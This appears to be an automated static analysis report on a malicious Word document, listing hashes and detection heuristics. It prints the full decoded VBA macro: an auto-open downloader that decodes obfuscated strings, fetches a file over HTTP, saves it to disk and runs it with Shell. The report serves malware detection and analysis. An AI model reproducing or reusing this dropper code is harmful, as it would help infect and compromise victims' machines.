Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 de4b6ce4f534250c…

MALICIOUS

Office (OLE)

34.5 KB Created: 2020-03-13 21:09:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: b7790bf4bcb84ddb08515f3a78136c84 SHA-1: 80989da980cf449079ebdc410668229df0099850 SHA-256: de4b6ce4f534250c7bd3fb737ff9962a06c568afb57b38a823049b77c0a32cab
380 Risk Score

Heuristics 12

  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell (rFhoeoDPVKpGBULmOqDISWoTOPCOTEtREPO)
  • VBA character-shift decoded Shell command critical OLE_VBA_ASC_CHR_SHIFT_SHELL
    VBA auto-exec macro stores an encoded command string, decodes it with a Mid/Asc/Chr character-shift loop, and passes the recovered text to Shell. This is a high-confidence command stager.
    Matched line in script
        For wDrmVOAGLwhUdRkUjRIoVJRMcPwAyRhqTVN = 1 To Len(FlcEaNlEtROBIhczDvTfJgVjzOIqkNeILSN)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
     .write KAuNDrUaPxIpuatIFeKFUQiujlKRmmtBlbA.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Dim KAuNDrUaPxIpuatIFeKFUQiujlKRmmtBlbA: Set KAuNDrUaPxIpuatIFeKFUQiujlKRmmtBlbA = CreateObject(("Microsoft.XMLHTTP"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim KAuNDrUaPxIpuatIFeKFUQiujlKRmmtBlbA: Set KAuNDrUaPxIpuatIFeKFUQiujlKRmmtBlbA = CreateObject(("Microsoft.XMLHTTP"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    lodzmyRYVGZHnZQomPfPOSUymhXnyZHZouH = Environ(MmrtLBFgTIKfSfTVTcJnARInLZRlLeKdZua("ct| ", "15"))
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5148 bytes
SHA-256: 49a6568f6e149354301427fb753c7026bee8faa7bbaac61c855289467c52340a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
28 of 52 identifiers look randomly generated (e.g. 'MmTrVhopSpTlTtJAOgKlsaCXBSISikKlKRF') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Dim rFhoeoDPVKpGBULmOqDISWoTOPCOTEtREPO
lodzmyRYVGZHnZQomPfPOSUymhXnyZHZouH = Environ(MmrtLBFgTIKfSfTVTcJnARInLZRlLeKdZua("ct| ", "15"))
Dim KAuNDrUaPxIpuatIFeKFUQiujlKRmmtBlbA: Set KAuNDrUaPxIpuatIFeKFUQiujlKRmmtBlbA = CreateObject(("Microsoft.XMLHTTP"))
Dim ptFhbtpWbEVNNXLdcSHRpRpSzOIRAZIAhHn: Set ptFhbtpWbEVNNXLdcSHRpRpSzOIRAZIAhHn = CreateObject(MmrtLBFgTIKfSfTVTcJnARInLZRlLeKdZua("Ehshf2Wxvieq", "4"))
rFhoeoDPVKpGBULmOqDISWoTOPCOTEtREPO = lodzmyRYVGZHnZQomPfPOSUymhXnyZHZouH + MmrtLBFgTIKfSfTVTcJnARInLZRlLeKdZua("k^PS[WP=t‡t", "15")
KAuNDrUaPxIpuatIFeKFUQiujlKRmmtBlbA.Open MmrtLBFgTIKfSfTVTcJnARInLZRlLeKdZua("KIX", "4"), MmrtLBFgTIKfSfTVTcJnARInLZRlLeKdZua("wƒƒ I>>|?qx{t=}tƒ>\p�rw>^PS[WP=t‡t", "15"), False
KAuNDrUaPxIpuatIFeKFUQiujlKRmmtBlbA.Send
With ptFhbtpWbEVNNXLdcSHRpRpSzOIRAZIAhHn
 .Type = 1
 .Open
 .write KAuNDrUaPxIpuatIFeKFUQiujlKRmmtBlbA.responseBody
.SaveToFile rFhoeoDPVKpGBULmOqDISWoTOPCOTEtREPO, 2
End With
Shell (rFhoeoDPVKpGBULmOqDISWoTOPCOTEtREPO)
End Sub

Public Function MmrtLBFgTIKfSfTVTcJnARInLZRlLeKdZua(FlcEaNlEtROBIhczDvTfJgVjzOIqkNeILSN As String, lDVYCKQfksYgIhoyKYPKZPtZhaPTAmaLLoM As Integer)
    Dim wDrmVOAGLwhUdRkUjRIoVJRMcPwAyRhqTVN As Integer
    For wDrmVOAGLwhUdRkUjRIoVJRMcPwAyRhqTVN = 1 To Len(FlcEaNlEtROBIhczDvTfJgVjzOIqkNeILSN)
        Mid(FlcEaNlEtROBIhczDvTfJgVjzOIqkNeILSN, wDrmVOAGLwhUdRkUjRIoVJRMcPwAyRhqTVN, 1) = Chr(Asc(Mid(FlcEaNlEtROBIhczDvTfJgVjzOIqkNeILSN, wDrmVOAGLwhUdRkUjRIoVJRMcPwAyRhqTVN, 1)) - lDVYCKQfksYgIhoyKYPKZPtZhaPTAmaLLoM)
    Next wDrmVOAGLwhUdRkUjRIoVJRMcPwAyRhqTVN
    MmrtLBFgTIKfSfTVTcJnARInLZRlLeKdZua = FlcEaNlEtROBIhczDvTfJgVjzOIqkNeILSN
End Function



Public Function JRHgNNEdfuepiLrHNQGOFoAjANPvJFDJOQM()
Dim WXjqpRsLidVJYUBJWrZdplYgUTepvrVaRTV As Integer
WXjqpRsLidVJYUBJWrZdplYgUTepvrVaRTV = 6
Do While WXjqpRsLidVJYUBJWrZdplYgUTepvrVaRTV < 24
   DoEvents: WXjqpRsLidVJYUBJWrZdplYgUTepvrVaRTV = WXjqpRsLidVJYUBJWrZdplYgUTepvrVaRTV + 1
Loop
End Function



Public Function eFnsSmmEPNLsLJJYIuOTxtnhIkcARbRrIZM()
Dim cscWTOcNDXqCcnyJsIBwFRFjCKmHIwUFlwB As Integer
cscWTOcNDXqCcnyJsIBwFRFjCKmHIwUFlwB = 6
Do While cscWTOcNDXqCcnyJsIBwFRFjCKmHIwUFlwB < 24
   DoEvents: cscWTOcNDXqCcnyJsIBwFRFjCKmHIwUFlwB = cscWTOcNDXqCcnyJsIBwFRFjCKmHIwUFlwB + 1
Loop
End Function



Public Function RJeKILHipefiASuLatAzVwVZAKcTvzbxaGH()
Dim kvsiNQABJFPsjnFbLMriUoafxjJILCCIufJ As Integer
kvsiNQABJFPsjnFbLMriUoafxjJILCCIufJ = 6
Do While kvsiNQABJFPsjnFbLMriUoafxjJILCCIufJ < 24
   DoEvents: kvsiNQABJFPsjnFbLMriUoafxjJILCCIufJ = kvsiNQABJFPsjnFbLMriUoafxjJILCCIufJ + 1
Loop
End Function



Public Function MQKGdERPHjHBbqzreMIWVXFgImLnhUMtXAT()
Dim sQkBpUatmuJgiPCIRKMdpLzyqteDHXOevsG As Integer
sQkBpUatmuJgiPCIRKMdpLzyqteDHXOevsG = 6
Do While sQkBpUatmuJgiPCIRKMdpLzyqteDHXOevsG < 24
   DoEvents: sQkBpUatmuJgiPCIRKMdpLzyqteDHXOevsG = sQkBpUatmuJgiPCIRKMdpLzyqteDHXOevsG + 1
Loop
End Function



Public Function nZIGMMTOEaQhkpRpGKMfKvUajgOKwWpbQZX()
Dim MmTrVhopSpTlTtJAOgKlsaCXBSISikKlKRF As Integer
MmTrVhopSpTlTtJAOgKlsaCXBSISikKlKRF = 6
Do While MmTrVhopSpTlTtJAOgKlsaCXBSISikKlKRF < 24
   DoEvents: MmTrVhopSpTlTtJAOgKlsaCXBSISikKlKRF = MmTrVhopSpTlTtJAOgKlsaCXBSISikKlKRF + 1
Loop
End Function



Public Function QBbxOQBhLVWpjiRBFhRTBEhhIBgKBdwwkCx()
Dim qmHdJtloZFKdRPsXKYCIgptKMkqACYuFCFb As Integer
qmHdJtloZFKdRPsXKYCIgptKMkqACYuFCFb = 6
Do While qmHdJtloZFKdRPsXKYCIgptKMkqACYuFCFb < 24
   DoEvents: qmHdJtloZFKdRPsXKYCIgptKMkqACYuFCFb = qmHdJtloZFKdRPsXKYCIgptKMkqACYuFCFb + 1
Loop
End Function



Public Function MvSxYQYIdDcLNCdPiktykxWOPeRUUbBdacN()
Dim eMTQnrxisrRuaaeMFPxmPZYCPzDnCBzFkJy As Integer
eMTQnrxisrRuaaeMFPxmPZYCPzDnCBzFkJy = 6
Do While eMTQnrxisrRuaaeMFPxmPZYCPzDnCBzFkJy < 24
   DoEvents: eMTQnrxisrRuaaeMFPxmPZYCPzDnCBzFkJy = eMTQnrxisrRuaaeMFPxmPZYCPzDnCBzFkJy + 1
Loop
End Function



Public Function mQBEpFYPGhToSprpTBmaXdMtNTNRSGwGNtE()
Dim ipjEkHVPmJBPZGMvlDcCeDILVrbSUGNvtle As Integer
ipjEkHVPmJBPZGMvlDcCeDILVrbSUGNvtle = 6
Do While ipjEkHVPmJBPZGMvlDcCeDILVrbSUGNvtle < 24
   DoEvents: ipjEkHVPmJBPZGMvlDcCeDILVrbSUGNvtle = ipjEkHVPmJBPZGMvlDcCeDILVrbSUGNvtle + 1
Loop
End Function



Public Function GNhJqDtvqdaLTzgFVdVOwKIguFxYfcRMMLV()
Dim RtRyfGNQXOqgwCUxhaQxREWOkGVlOMOTIzO As Integer
RtRyfGNQXOqgwCUxhaQxREWOkGVlOMOTIzO = 6
Do While RtRyfGNQXOqgwCUxhaQxREWOkGVlOMOTIzO < 24
   DoEvents: RtRyfGNQXOqgwCUxhaQxREWOkGVlOMOTIzO = RtRyfGNQXOqgwCUxhaQxREWOkGVlOMOTIzO + 1
Loop
End Function



Public Function qMDKDjTiVSSwMnSEGUyEhHBfBGsHvemEYfj()
Dim tPkhzCGXhyUfYRMSPqSWEKsJSrMHMAOYhDZ As Integer
tPkhzCGXhyUfYRMSPqSWEKsJSrMHMAOYhDZ = 6
Do While tPkhzCGXhyUfYRMSPqSWEKsJSrMHMAOYhDZ < 24
   DoEvents: tPkhzCGXhyUfYRMSPqSWEKsJSrMHMAOYhDZ = tPkhzCGXhyUfYRMSPqSWEKsJSrMHMAOYhDZ + 1
Loop
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.